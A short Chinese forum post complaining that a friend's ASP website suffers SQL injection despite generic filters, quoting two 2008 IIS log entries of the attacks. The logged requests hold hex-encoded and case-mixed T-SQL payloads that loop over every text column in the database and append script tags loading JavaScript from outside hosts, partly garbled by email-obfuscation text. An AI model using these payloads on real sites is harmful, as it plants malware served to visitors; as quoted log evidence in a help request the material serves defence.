由于我朋友的一个网站前期安全没有做好,使用ASP编写的,好多文件都存在注入,使用通用的防注入程序都没有用,可能是使用的防注入程序不够好。
对于下面这些变形的语句就防不了,还有那网站的程序员都不懂怎么样防注入,真晕。
在日志中看到的注入日志:
2008-07-01 06:45:56 W3SVC1807602630 219.133.55.3 GET
/car_ins/message.asp
id=189;[EMAIL PROTECTED](4000);[EMAIL
PROTECTED](0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E686461647763642E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--
80 - 221.238.20.164
Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727)
404 0 2
2008-07-06 09:59:07 W3SVC1807602630 219.133.55.3 GET /hr/view.asp
id=297;[EMAIL
PROTECTED](255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)[EMAIL
PROTECTED],@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['[EMAIL
PROTECTED]']%20sEt%20['[EMAIL PROTECTED]']=rtrim(convert(varchar,['[EMAIL
PROTECTED]']))%2bcAsT(0x3C2F7469746C653E3C2F7072653E3E3C736372697074207372633D687474703A2F2F6D2E7477666C38382E636E2F696D672F696E6465782E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')[EMAIL
PROTECTED],@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--
80 - 221.238.20.164 Mozilla/4.0 200 0 0
--
AKA.Saint.
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